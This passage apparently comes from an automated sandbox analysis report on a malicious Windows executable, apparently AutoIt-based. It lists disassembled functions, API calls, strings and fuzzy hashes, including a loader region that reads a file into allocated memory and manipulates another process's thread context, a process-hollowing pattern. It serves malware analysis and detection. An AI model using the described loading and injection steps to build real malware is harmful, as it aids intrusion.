                                                          • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 004F3A03
                                                          • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 004F3A24
                                                          • ShowWindow.USER32(00000000,?,?), ref: 004F3A38
                                                          • ShowWindow.USER32(00000000,?,?), ref: 004F3A41
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Window$CreateShow
                                                          • String ID: AutoIt v3$edit
                                                          • API String ID: 1584632944-3779509399
                                                          • Opcode ID: ca640faf86708dd850b633af62344a7b818de8b99ead9d523a4e12784ee3c0c4
                                                          • Instruction ID: 3a730c804334fb5cfbe164a89b640e61258832ff8379d373fc36109ef163bea7
                                                          • Opcode Fuzzy Hash: ca640faf86708dd850b633af62344a7b818de8b99ead9d523a4e12784ee3c0c4
                                                          • Instruction Fuzzy Hash: B6F03A745022907EEAB59B237C09F2B6E7DE7D6F50F00422AB904A2270D2612844FAB0
                                                          Function 00EA4318 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 153fileCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1392 ea4318-ea446c call ea1f68 call ea4208 CreateFileW 1399 ea446e 1392->1399 1400 ea4473-ea4483 1392->1400 1401 ea4523-ea4528 1399->1401 1403 ea448a-ea44a4 VirtualAlloc 1400->1403 1404 ea4485 1400->1404 1405 ea44a8-ea44bf ReadFile 1403->1405 1406 ea44a6 1403->1406 1404->1401 1407 ea44c3-ea44fd call ea4248 call ea3208 1405->1407 1408 ea44c1 1405->1408 1406->1401 1413 ea4519-ea4521 ExitProcess 1407->1413 1414 ea44ff-ea4514 call ea4298 1407->1414 1408->1401 1413->1401 1414->1413
                                                          APIs
                                                            • Part of subcall function 00EA4208: Sleep.KERNELBASE(000001F4), ref: 00EA4219
                                                          • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00EA4462
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699946509.0000000000EA1000.00000040.00000020.00020000.00000000.sdmp, Offset: 00EA1000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_ea1000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CreateFileSleep
                                                          • String ID: F37MFKIE6HGXIAM
                                                          • API String ID: 2694422964-635340827
                                                          • Opcode ID: 7f455d79211439dab2540c0d2032e29fde1250e86dd443af22e4f40a9b0cd202
                                                          • Instruction ID: 9605b1cf427ce6c8e8135769210e29cf32c3008dc0857256bd9c1183c0f5afbc
                                                          • Opcode Fuzzy Hash: 7f455d79211439dab2540c0d2032e29fde1250e86dd443af22e4f40a9b0cd202
                                                          • Instruction Fuzzy Hash: 39516E70D14248EBEF11DBE4D844BEEBBB9AF59304F005199E208BB2C1D7B91B45CB65
                                                          Function 00527CFD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 46libraryfileloaderCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1416 527cfd-527d0a call 519e59 1419 527d63-527d7b CreateFileW 1416->1419 1420 527d0c-527d27 GetModuleHandleW GetProcAddress 1416->1420 1421 527d81-527d84 1419->1421 1422 527d29-527d2c 1420->1422 1423 527d2e-527d61 1420->1423 1422->1421 1423->1421
                                                          APIs
                                                          • GetModuleHandleW.KERNEL32(kernel32.dll,CreateFile2,00000001,?,?,?,00000000,00000109), ref: 00527D16
                                                          • GetProcAddress.KERNEL32(00000000), ref: 00527D1D
                                                          • CreateFileW.KERNELBASE(00000000,?,?,?,00000001,?,00000000,00000001,?,?,?,00000000,00000109), ref: 00527D7B
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: AddressCreateFileHandleModuleProc
                                                          • String ID: CreateFile2$kernel32.dll
                                                          • API String ID: 2580138172-1988006178
                                                          • Opcode ID: 30114c33cbeddfdd60ca6cb15cdc59f35f507ed2310c12704b779406552f75bb
                                                          • Instruction ID: 9472376b67dc536e855c7d0b247a00d22ba544e552b3af4670619e650cb98f1d
                                                          • Opcode Fuzzy Hash: 30114c33cbeddfdd60ca6cb15cdc59f35f507ed2310c12704b779406552f75bb
                                                          • Instruction Fuzzy Hash: B511E27590020EEFDF01DFA4EC45AEE3FB5BF18311F004528FD14A2290D7318A65AB90
                                                          Function 00559155 Relevance: 7.8, APIs: 5, Instructions: 322fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00559452
                                                          • DeleteFileW.KERNEL32(?,?), ref: 005594FB
                                                          • CopyFileW.KERNELBASE(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00559511
                                                          • DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00559522
                                                          • DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00559534
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: File$Delete$Copy
                                                          • String ID:
                                                          • API String ID: 3226157194-0
                                                          • Opcode ID: fa36f411953d84daa476503ad341f7abbbf33b97206b44d0a91dd1c8f37da31a
                                                          • Instruction ID: 3f47124ba75e5952b785284af630f1e6594629d51a06731b214ba297eb663a52
                                                          • Opcode Fuzzy Hash: fa36f411953d84daa476503ad341f7abbbf33b97206b44d0a91dd1c8f37da31a
                                                          • Instruction Fuzzy Hash: 75C13DB1D00119AADF11DF95CC95AEEBBBDFF85310F0044ABF609E6141EB349A888F65
                                                          Function 004F35B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,004F35A1,SwapMouseButtons,00000004,?), ref: 004F35D4
                                                          • RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,004F35A1,SwapMouseButtons,00000004,?,?,?,?,004F2754), ref: 004F35F5
                                                          • RegCloseKey.KERNELBASE(00000000,?,?,004F35A1,SwapMouseButtons,00000004,?,?,?,?,004F2754), ref: 004F3617
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CloseOpenQueryValue
                                                          • String ID: Control Panel\Mouse
                                                          • API String ID: 3677997916-824357125
                                                          • Opcode ID: 392051873c8956620b9b450d3dc855821c98eee8b44f865caa7a57a783f68a56
                                                          • Instruction ID: 9ce442daf766895014e9405e7f6cc80dc8c19b8a693ad009f156fa7217f97ca8
                                                          • Opcode Fuzzy Hash: 392051873c8956620b9b450d3dc855821c98eee8b44f865caa7a57a783f68a56
                                                          • Instruction Fuzzy Hash: 13113671510208BAEF20CF64E8449BFB7A8EF04741F00446AA909D7210D2719E44A764
                                                          Function 00EA3208 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CreateProcessW.KERNELBASE(?,00000000), ref: 00EA39C3
                                                          • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 00EA3A59
                                                          • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00EA3A7B
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699946509.0000000000EA1000.00000040.00000020.00020000.00000000.sdmp, Offset: 00EA1000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_ea1000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                          • String ID:
                                                          • API String ID: 2438371351-0
                                                          • Opcode ID: 9a8a17a12fb03160a4a55839945f9e7e1859a6c72d72ca89e8ed8c326fc6e5c7
                                                          • Instruction ID: 602107f1034c45bea0e849bf6809d8148be41f70436a38d84cf99baac4b063ed
                                                          • Opcode Fuzzy Hash: 9a8a17a12fb03160a4a55839945f9e7e1859a6c72d72ca89e8ed8c326fc6e5c7
                                                          • Instruction Fuzzy Hash: C862F930A14658DBEB24CFA4C841BDEB376EF59304F1091A9E10DFB290E775AE81CB59
                                                          Function 004F407C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 004F4160
                                                          • LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 0052D3D7
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: IconLoadNotifyShell_String
                                                          • String ID: Line:
                                                          • API String ID: 3363329723-1585850449
                                                          • Opcode ID: 26d3232e509fd38fbef209ab74f71bd7639c40d156c3f6257dbc11e2868c99de
                                                          • Instruction ID: dd2d9f0206dc265bac662532844df98bf8b20a1404c61700aab1dafa9ee141ac
                                                          • Opcode Fuzzy Hash: 26d3232e509fd38fbef209ab74f71bd7639c40d156c3f6257dbc11e2868c99de
                                                          • Instruction Fuzzy Hash: BE31C3710083086FD365EB60DC45FEB77D8AF54308F10451FF68582091EF78A648C79A
                                                          Function 005598E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetTempPathW.KERNEL32(00000104,?), ref: 005598F8
                                                          • GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 0055990F
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Temp$FileNamePath
                                                          • String ID: aut
                                                          • API String ID: 3285503233-3010740371
                                                          • Opcode ID: ef5415a2015d2c664bb5e635d3fef9cbb00578925e1e6e8d7d4fb3789e8f5eed
                                                          • Instruction ID: 54d7b4fc58852ca94614857e64a7d149c50946f0d7bd2611781a289fb75c6b0c
                                                          • Opcode Fuzzy Hash: ef5415a2015d2c664bb5e635d3fef9cbb00578925e1e6e8d7d4fb3789e8f5eed
                                                          • Instruction Fuzzy Hash: E6D05B7954030D6BDB50DB90EC0DFAA773CE714700F0006B1BA54910A1ED7055989B91
                                                          Function 0056CADD Relevance: 4.9, APIs: 3, Instructions: 392COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 23bbf6fa32a0af52c1526c76d1936015dbf59e1347a7e6da11ee6c89fec918e0
                                                          • Instruction ID: d4cd46f82c369585fad6188f527283e6529c346dc8d05ad31f5e963f8ccdc4c8
                                                          • Opcode Fuzzy Hash: 23bbf6fa32a0af52c1526c76d1936015dbf59e1347a7e6da11ee6c89fec918e0
                                                          • Instruction Fuzzy Hash: 9FF16770A083459FCB14DF29C484A6ABBE5FF88318F14892EF8999B351D735E945CF82
                                                          Function 005598A2 Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,00559548,?,?,?,?,?,00000004), ref: 005598BB
                                                          • SetFileTime.KERNELBASE(00000000,?,00000000,?,?,00559548,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 005598D1
                                                          • CloseHandle.KERNEL32(00000000,?,00559548,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 005598D8
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: File$CloseCreateHandleTime
                                                          • String ID:
                                                          • API String ID: 3397143404-0
                                                          • Opcode ID: 4f0f48255f41cd9e3db8df5b56c9738381164ab66cf20ac2eafeaa1035058466
                                                          • Instruction ID: fa6ad6e101662824244774243be0798db5decd52d7c3c9b8e4c8535110dbd638
                                                          • Opcode Fuzzy Hash: 4f0f48255f41cd9e3db8df5b56c9738381164ab66cf20ac2eafeaa1035058466
                                                          • Instruction Fuzzy Hash: 28E08632141224F7D7215B64FC09FCA7F59AB16761F104120FB18690E087B11555F798
                                                          Function 004F7285 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetOpenFileNameW.COMDLG32(?), ref: 0052EA83
                                                            • Part of subcall function 004F4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,004F4743,?,?,004F37AE,?), ref: 004F4770
                                                            • Part of subcall function 00510791: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 005107B0
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Name$Path$FileFullLongOpen
                                                          • String ID: X
                                                          • API String ID: 779396738-3081909835
                                                          • Opcode ID: 741315a937618963c28f8dbc9e9609579b04778565e451f9e71d0d6c25647156
                                                          • Instruction ID: fd7b634e5de1580af8160669f6e40197c7e24b3f72535a1b7e15b19f5428d5d7
                                                          • Opcode Fuzzy Hash: 741315a937618963c28f8dbc9e9609579b04778565e451f9e71d0d6c25647156
                                                          • Instruction Fuzzy Hash: 31218171A002589BDF419F94D849BFE7FF8BF49714F00405AE508A7281DBB859898FA5
                                                          Function 004F434A Relevance: 3.1, APIs: 2, Instructions: 77windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • Shell_NotifyIconW.SHELL32(00000000,?), ref: 004F4415
                                                          • Shell_NotifyIconW.SHELL32(00000001,?), ref: 004F4432
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: IconNotifyShell_
                                                          • String ID:
                                                          • API String ID: 1144537725-0
                                                          • Opcode ID: 8ec072ecf3140d777e3d2b0387f929f9a7c9c469e499744efe9627e85d03a4f1
                                                          • Instruction ID: 2b26c21c845280053d08924c0334840f78192de60a0e588aac712b9934b69bfa
                                                          • Opcode Fuzzy Hash: 8ec072ecf3140d777e3d2b0387f929f9a7c9c469e499744efe9627e85d03a4f1
                                                          • Instruction Fuzzy Hash: 9331C3705057058FC764DF24D8847ABBBF8FF98308F000A2EE68A82351EB75A948DB56
                                                          Function 004F47D0 Relevance: 3.1, APIs: 2, Instructions: 59COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • IsThemeActive.UXTHEME ref: 004F4834
                                                            • Part of subcall function 0051336C: DecodePointer.KERNEL32(00000001,?,004F4849,00547C74), ref: 0051337E
                                                            • Part of subcall function 0051336C: EncodePointer.KERNEL32(?,?,004F4849,00547C74), ref: 00513389
                                                            • Part of subcall function 004F48FD: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 004F4915
                                                            • Part of subcall function 004F48FD: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 004F492A
                                                            • Part of subcall function 004F3B3A: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 004F3B68
                                                            • Part of subcall function 004F3B3A: IsDebuggerPresent.KERNEL32 ref: 004F3B7A
                                                            • Part of subcall function 004F3B3A: GetFullPathNameW.KERNEL32(00007FFF,?,?,005B52F8,005B52E0,?,?), ref: 004F3BEB
                                                            • Part of subcall function 004F3B3A: SetCurrentDirectoryW.KERNEL32(?), ref: 004F3C6F
                                                          • SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 004F4874
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme
                                                          • String ID:
                                                          • API String ID: 1658450864-0
                                                          • Opcode ID: 5c98485045395d239e7598d8094e36f9ba25bdf9743bfa741d4ab33bbc11599b
                                                          • Instruction ID: c0c06b29c2328d2153fe699971838dab7e5f58a3354228997b7bbd2b3d60de46
                                                          • Opcode Fuzzy Hash: 5c98485045395d239e7598d8094e36f9ba25bdf9743bfa741d4ab33bbc11599b
                                                          • Instruction Fuzzy Hash: 9B11AE718187059BCB04EF29E845A1AFFE8FBA4754F004A1FF14483271DB74A948DB96
                                                          Function 00512D55 Relevance: 3.0, APIs: 2, Instructions: 21memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • RtlFreeHeap.NTDLL(00000000,00000000,?,00519A24), ref: 00512D69
                                                          • GetLastError.KERNEL32(00000000,?,00519A24), ref: 00512D7B
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ErrorFreeHeapLast
                                                          • String ID:
                                                          • API String ID: 485612231-0
                                                          • Opcode ID: 350a822be43691f9810267a48846ba5fabf5c954ec1bfd17cc003c95fd4c7aee
                                                          • Instruction ID: 4a8c2c7d2bcad4a91171ead6c52016512b482f41b596aafa19835c4fd7899eb3
                                                          • Opcode Fuzzy Hash: 350a822be43691f9810267a48846ba5fabf5c954ec1bfd17cc003c95fd4c7aee
                                                          • Instruction Fuzzy Hash: 4DE0EC71104206AAEB216FA4FC09BE97F98BB10751F544938F508D6460EA3495D5AB94
                                                          Function 00520ADD Relevance: 2.6, APIs: 2, Instructions: 60COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CloseHandle.KERNELBASE(00000000,0057FB24,00000000,?,00528219,0057FB24,?,?,?,?,?,?,?,?,00000000,00000109), ref: 00520B2D
                                                          • GetLastError.KERNEL32(?,00528219,0057FB24,?,?,?,?,?,?,?,?,00000000,00000109), ref: 00520B37
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CloseErrorHandleLast
                                                          • String ID:
                                                          • API String ID: 918212764-0
                                                          • Opcode ID: af9dcf39731b75bd78e56d9d741903e0c3442a844cb99c94afce5088bcf4ee0e
                                                          • Instruction ID: 35c87748cdc4cd7180bb2fc35935f4d09367b0a1fa0841b11703b3005a2affa3
                                                          • Opcode Fuzzy Hash: af9dcf39731b75bd78e56d9d741903e0c3442a844cb99c94afce5088bcf4ee0e
                                                          • Instruction Fuzzy Hash: 73012B3260623116EB341734B85EBBE6F557F83778F190A58F81C971D3DAF1A98491A0
                                                          Function 00EA3205 Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CreateProcessW.KERNELBASE(?,00000000), ref: 00EA39C3
                                                          • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 00EA3A59
                                                          • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00EA3A7B
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699946509.0000000000EA1000.00000040.00000020.00020000.00000000.sdmp, Offset: 00EA1000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_ea1000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                          • String ID:
                                                          • API String ID: 2438371351-0
                                                          • Opcode ID: 935c44ad8318b3af66d252774f477c9026677184fbf87e93bc0843909b837ee7
